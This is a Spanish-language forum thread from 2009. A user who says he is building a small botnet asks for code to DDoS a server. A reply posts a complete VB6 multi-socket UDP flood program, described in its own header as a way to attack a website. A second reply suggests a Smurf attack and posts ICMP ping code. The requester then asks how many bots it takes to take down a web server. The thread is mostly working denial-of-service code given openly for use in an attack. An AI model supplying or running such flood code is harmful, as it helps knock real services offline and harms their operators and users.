elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  ddenial of service desde vb6 ?¿
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: ddenial of service desde vb6 ?¿  (Leído 1,353 veces)
locot3

Desconectado Desconectado

Mensajes: 74


Ver Perfil
ddenial of service desde vb6 ?¿
« en: 13 Mayo 2009, 22:48 pm »

Buenas ! y como siempre gracias por el tiempo , bueno al grano estoy en eso la construccion de una pequña botnet la cual cuenta con unos cuantos clientillos hehe, ahora el punt ode hacer todo es llegar  ahacercerle un ddos a algun server pero en realidad no e podido encontrar nada de nada sobre codigos de ejemplo de como hacer un ddos la teoria ya me la se de memoria y ya tengo masomenos entendio de como hacer algo pero tener un ejemplo seria genial , si alguien me peude postear algun pedazo de codigo o algo ais se le agradezeria mucho !!! y gracias de antemano saludos !!!!


En línea

XcryptOR

Desconectado Desconectado

Mensajes: 228



Ver Perfil
Re: ddenial of service desde vb6 ?¿
« Respuesta #1 en: 13 Mayo 2009, 23:49 pm »

No se si te sirva esto de UDPFlood, la verdad es muy sencillo, utiliza el winsock pero se podria utilizar el socketmaster para no depender de componentes.

Código
  1. '---------------------------------------------------------------------------------------
  2. ' Project   : prj_MultiSocketPortFlooder
  3. ' Module    : frmMain
  4. ' Author    : AMD64
  5. ' Date      : 7/26/2008
  6. ' Purpose   : Example using Vb6 to demonstrate how you could implement a multi-socketed UDP attack on a website or kill yahoo voice
  7. ' homepage  : http://www.voodowares.com
  8. '---------------------------------------------------------------------------------------
  9.  
  10. ' A few things i want to touch on.
  11. ' First notice the program will load and unload Sockets without the use of ON ERROR RESUME NEXT
  12. ' Now i suggest coding and adding error handling yourself , but this is to demonstrate that this method of loading and unloading sockets will differ from most any examples you'll find on yahoo related sites that deal with sockets, reason being PEOPLE COPY PASTE, :|
  13. '-----------------
  14. ' Sub Load(object As object)
  15. '   Member of VB.Global
  16. '   Loads a form or control into memory.
  17. '---
  18. ' Sub Unload(object As object)
  19. '   Member of VB.Global
  20. '   Unloads a form or control from memory.
  21. '---
  22. ' Const sckUDPProtocol = 1
  23. '   Member of MSWinsockLib.ProtocolConstants
  24. '   UDP Protocol
  25. '---
  26. ' Function ChrW$(CharCode As Long) As String
  27. '   Member of VBA.Strings
  28. '   Returns a string containing the specified native character (Unicode or ANSI)
  29.  
  30. Option Explicit
  31.  
  32. Private i As Integer
  33.  
  34. Private Sub btnExecute_Click()
  35.  
  36. Select Case btnExecute.Caption
  37.  
  38.    Case Is = ("Execute")
  39.  
  40.       For i = 1 To CInt(cboSockets.Text)
  41.          Load Winsock(i)
  42.          Next
  43.  
  44.          tmrNuke.Interval = CInt(cboTimeOut.Text)
  45.          tmrNuke.Enabled = True
  46.          btnExecute.Caption = ("Stop")
  47.  
  48.    Case Is = ("Stop")
  49.  
  50.        tmrNuke.Enabled = False
  51.        tmrNuke.Interval = 0
  52.  
  53.        For i = 1 To Winsock.UBound
  54.          Winsock(i).Close
  55.          Unload Winsock(i)
  56.          Next
  57.          btnExecute.Caption = ("Execute")
  58.  
  59. End Select
  60.  
  61. End Sub
  62.  
  63. Private Sub tmrNuke_Timer()
  64.  
  65.  For i = 1 To Winsock().UBound
  66.  
  67.    With Winsock(i)
  68.      .Close
  69.      .Connect txtTarget.Text, CInt(txtPort.Text) '<---- could impliment a incremented integer value for the port to have a multi-socketed and multi-port attack , this concept is very simple :O|
  70.      .SendData ASCIIFLOOD
  71.    End With
  72.    Debug.Print "SOCKET" & Chr(58) & Winsock(i).Index & vbNewLine & "SOCKET HANDLE" & Chr(58) & Winsock(i).SocketHandle & vbNewLine
  73.  Next
  74.  
  75. End Sub
  76. Public Function ASCIIFLOOD() As String
  77. Dim X  As Byte
  78.  
  79.  X = Int(Rnd * 254) + 1
  80.  ASCIIFLOOD = String(10500, ChrW$(X))
  81.  ' add your own counter im lazy today :0|
  82. End Function
  83.  
  84.  



« Última modificación: 14 Mayo 2009, 00:00 am por XcryptOR » En línea



XcryptOR

Desconectado Desconectado

Mensajes: 228



Ver Perfil
Re: ddenial of service desde vb6 ?¿
« Respuesta #2 en: 13 Mayo 2009, 23:59 pm »

o puede usar un Smurf Attack: Envió de gran numero de ICMP echo (ping) a broadcast the IP.

aqui solo un ejemplo de ICMP ping:

Código
  1. Private Sub Form_Load()
  2. Dim Reply As ICMP_ECHO_REPLY
  3.   Dim lngSuccess As Long
  4.   Dim strIPAddress As String
  5.  
  6.  
  7.   If SocketsInitialize() Then
  8.  
  9.  
  10.    strIPAddress = "<ip to ping in here>"
  11.  
  12.    lngSuccess = ping(strIPAddress, Reply)
  13.  
  14.  
  15.    MsgBox ("Address to Ping: " & strIPAddress)
  16.    MsgBox ("Ping Response Message : " & EvaluatePingResponse(lngSuccess))
  17.    MsgBox ("Time : " & Reply.RoundTripTime & " ms")
  18.  
  19.  
  20.    SocketsCleanup
  21.  
  22.   Else
  23.  
  24.  
  25.   Debug.Print WINSOCK_ERROR
  26.  
  27.   End If
  28. End Sub

modulo

Código
  1. Option Explicit
  2.  
  3.  
  4. Private Const ICMP_SUCCESS As Long = 0
  5. Private Const ICMP_STATUS_BUFFER_TO_SMALL = 11001
  6. Private Const ICMP_STATUS_DESTINATION_NET_UNREACH = 11002
  7. Private Const ICMP_STATUS_DESTINATION_HOST_UNREACH = 11003
  8. Private Const ICMP_STATUS_DESTINATION_PROTOCOL_UNREACH = 11004
  9. Private Const ICMP_STATUS_DESTINATION_PORT_UNREACH = 11005
  10. Private Const ICMP_STATUS_NO_RESOURCE = 11006
  11. Private Const ICMP_STATUS_BAD_OPTION = 11007
  12. Private Const ICMP_STATUS_HARDWARE_ERROR = 11008
  13. Private Const ICMP_STATUS_LARGE_PACKET = 11009
  14. Private Const ICMP_STATUS_REQUEST_TIMED_OUT = 11010
  15. Private Const ICMP_STATUS_BAD_REQUEST = 11011
  16. Private Const ICMP_STATUS_BAD_ROUTE = 11012
  17. Private Const ICMP_STATUS_TTL_EXPIRED_TRANSIT = 11013
  18. Private Const ICMP_STATUS_TTL_EXPIRED_REASSEMBLY = 11014
  19. Private Const ICMP_STATUS_PARAMETER = 11015
  20. Private Const ICMP_STATUS_SOURCE_QUENCH = 11016
  21. Private Const ICMP_STATUS_OPTION_TOO_BIG = 11017
  22. Private Const ICMP_STATUS_BAD_DESTINATION = 11018
  23. Private Const ICMP_STATUS_NEGOTIATING_IPSEC = 11032
  24. Private Const ICMP_STATUS_GENERAL_FAILURE = 11050
  25.  
  26. Public Const WINSOCK_ERROR = "Windows Sockets not responding correctly."
  27. Public Const INADDR_NONE As Long = &HFFFFFFFF
  28. Public Const WSA_SUCCESS = 0
  29. Public Const WS_VERSION_REQD As Long = &H101
  30.  
  31.  
  32. Private Declare Function WSACleanup Lib "WSOCK32.DLL" () As Long
  33.  
  34.  
  35. Private Declare Function WSAStartup Lib "WSOCK32.DLL" (ByVal wVersionRequired As Long, lpWSADATA As WSADATA) As Long
  36.  
  37. Private Declare Function IcmpCreateFile Lib "icmp.dll" () As Long
  38.  
  39.  
  40. Private Declare Function inet_addr Lib "WSOCK32.DLL" (ByVal cp As String) As Long
  41.  
  42.  
  43. Private Declare Function IcmpCloseHandle Lib "icmp.dll" (ByVal IcmpHandle As Long) As Long
  44.  
  45. Private Type WSADATA
  46.   wVersion As Integer
  47.   wHighVersion As Integer
  48.   szDescription(0 To 256) As Byte
  49.   szSystemStatus(0 To 128) As Byte
  50.   iMaxSockets As Long
  51.   iMaxUDPDG As Long
  52.   lpVendorInfo As Long
  53. End Type
  54.  
  55.  
  56. Private Declare Function IcmpSendEcho Lib "icmp.dll" _
  57.   (ByVal IcmpHandle As Long, _
  58.    ByVal DestinationAddress As Long, _
  59.    ByVal RequestData As String, _
  60.    ByVal RequestSize As Long, _
  61.    ByVal RequestOptions As Long, _
  62.    ReplyBuffer As ICMP_ECHO_REPLY, _
  63.    ByVal ReplySize As Long, _
  64.    ByVal Timeout As Long) As Long
  65.  
  66. Private Type IP_OPTION_INFORMATION
  67.   Ttl             As Byte
  68.   Tos             As Byte
  69.   Flags           As Byte
  70.   OptionsSize     As Byte
  71.   OptionsData     As Long
  72. End Type
  73.  
  74.  
  75. Public Type ICMP_ECHO_REPLY
  76.   address         As Long
  77.   Status          As Long
  78.   RoundTripTime   As Long
  79.   DataSize        As Long
  80.   Reserved        As Integer
  81.   ptrData                 As Long
  82.   Options        As IP_OPTION_INFORMATION
  83.   Data            As String * 250
  84. End Type
  85.  
  86.  
  87. Public Function ping(sAddress As String, Reply As ICMP_ECHO_REPLY) As Long
  88.  
  89. Dim hIcmp As Long
  90. Dim lAddress As Long
  91. Dim lTimeOut As Long
  92. Dim StringToSend As String
  93.  
  94.  
  95. StringToSend = "hello"
  96.  
  97.  
  98. lTimeOut = 1000
  99.  
  100.  
  101. lAddress = inet_addr(sAddress)
  102.  
  103. If (lAddress <> -1) And (lAddress <> 0) Then
  104.  
  105.  
  106.    hIcmp = IcmpCreateFile()
  107.  
  108.    If hIcmp Then
  109.  
  110.        Call IcmpSendEcho(hIcmp, lAddress, StringToSend, Len(StringToSend), 0, Reply, Len(Reply), lTimeOut)
  111.  
  112.  
  113.        ping = Reply.Status
  114.  
  115.        IcmpCloseHandle hIcmp
  116.    Else
  117.        Debug.Print "failure opening icmp handle."
  118.        ping = -1
  119.    End If
  120. Else
  121.    ping = -1
  122. End If
  123.  
  124. End Function
  125.  
  126.  
  127. Public Sub SocketsCleanup()
  128.  
  129.   WSACleanup
  130.  
  131. End Sub
  132.  
  133. Public Function SocketsInitialize() As Boolean
  134.  
  135.   Dim WSAD As WSADATA
  136.  
  137.   SocketsInitialize = WSAStartup(WS_VERSION_REQD, WSAD) = ICMP_SUCCESS
  138.  
  139. End Function
  140.  
  141.  
  142.  
  143. Public Function EvaluatePingResponse(PingResponse As Long) As String
  144.  
  145.  Select Case PingResponse
  146.  
  147.  Case ICMP_SUCCESS: EvaluatePingResponse = "Success!"
  148.  
  149.  
  150.  Case ICMP_STATUS_BUFFER_TO_SMALL:    EvaluatePingResponse = "Buffer Too Small"
  151.  Case ICMP_STATUS_DESTINATION_NET_UNREACH: EvaluatePingResponse = "Destination Net Unreachable"
  152.  Case ICMP_STATUS_DESTINATION_HOST_UNREACH: EvaluatePingResponse = "Destination Host Unreachable"
  153.  Case ICMP_STATUS_DESTINATION_PROTOCOL_UNREACH: EvaluatePingResponse = "Destination Protocol Unreachable"
  154.  Case ICMP_STATUS_DESTINATION_PORT_UNREACH: EvaluatePingResponse = "Destination Port Unreachable"
  155.  Case ICMP_STATUS_NO_RESOURCE: EvaluatePingResponse = "No Resources"
  156.  Case ICMP_STATUS_BAD_OPTION: EvaluatePingResponse = "Bad Option"
  157.  Case ICMP_STATUS_HARDWARE_ERROR: EvaluatePingResponse = "Hardware Error"
  158.  Case ICMP_STATUS_LARGE_PACKET: EvaluatePingResponse = "Packet Too Big"
  159.  Case ICMP_STATUS_REQUEST_TIMED_OUT: EvaluatePingResponse = "Request Timed Out"
  160.  Case ICMP_STATUS_BAD_REQUEST: EvaluatePingResponse = "Bad Request"
  161.  Case ICMP_STATUS_BAD_ROUTE: EvaluatePingResponse = "Bad Route"
  162.  Case ICMP_STATUS_TTL_EXPIRED_TRANSIT: EvaluatePingResponse = "TimeToLive Expired Transit"
  163.  Case ICMP_STATUS_TTL_EXPIRED_REASSEMBLY: EvaluatePingResponse = "TimeToLive Expired Reassembly"
  164.  Case ICMP_STATUS_PARAMETER: EvaluatePingResponse = "Parameter Problem"
  165.  Case ICMP_STATUS_SOURCE_QUENCH: EvaluatePingResponse = "Source Quench"
  166.  Case ICMP_STATUS_OPTION_TOO_BIG: EvaluatePingResponse = "Option Too Big"
  167.  Case ICMP_STATUS_BAD_DESTINATION: EvaluatePingResponse = "Bad Destination"
  168.  Case ICMP_STATUS_NEGOTIATING_IPSEC: EvaluatePingResponse = "Negotiating IPSEC"
  169.  Case ICMP_STATUS_GENERAL_FAILURE: EvaluatePingResponse = "General Failure"
  170.  
  171.  
  172.  Case Else: EvaluatePingResponse = "Unknown Response"
  173.  
  174.  End Select
  175.  
  176. End Function
  177.  
  178.  


En línea



locot3

Desconectado Desconectado

Mensajes: 74


Ver Perfil
Re: ddenial of service desde vb6 ?¿
« Respuesta #3 en: 14 Mayo 2009, 00:09 am »

MUCHISIMAS GRACIAS AHORA  A programamAR !! hah ahor anose por cual de lso 2 metodos irme me podrian decir cual es el metodo mas aconsejable a usar de los 2 ejemplos anteriores y masomenos haciendo calculos rapidos cuantos bots nesecitaria en cada caso para realizar un atake decente como para tirarse un servidor web simple ?¿?¿en algun lado lei que con un troyano de por ahi se podia hasta con solo 5! bots en otro gusano de por ahi que nesecitava como 22 o 23 bots para hacer caer los servicios de un servidor (Claro que hablamos de un servicor web con 1 solo servidor de acceso y no a una red de servidores como yahoo.com porejemplo)espero ansioso las repsuestas me despido agradeciendoles otra ves GRACIAS !! haha
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Consumir un Web Service WSDL desde NETBEANS
Programación General
desamota 0 3,287 Último mensaje 7 Enero 2015, 20:19 pm
por desamota
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines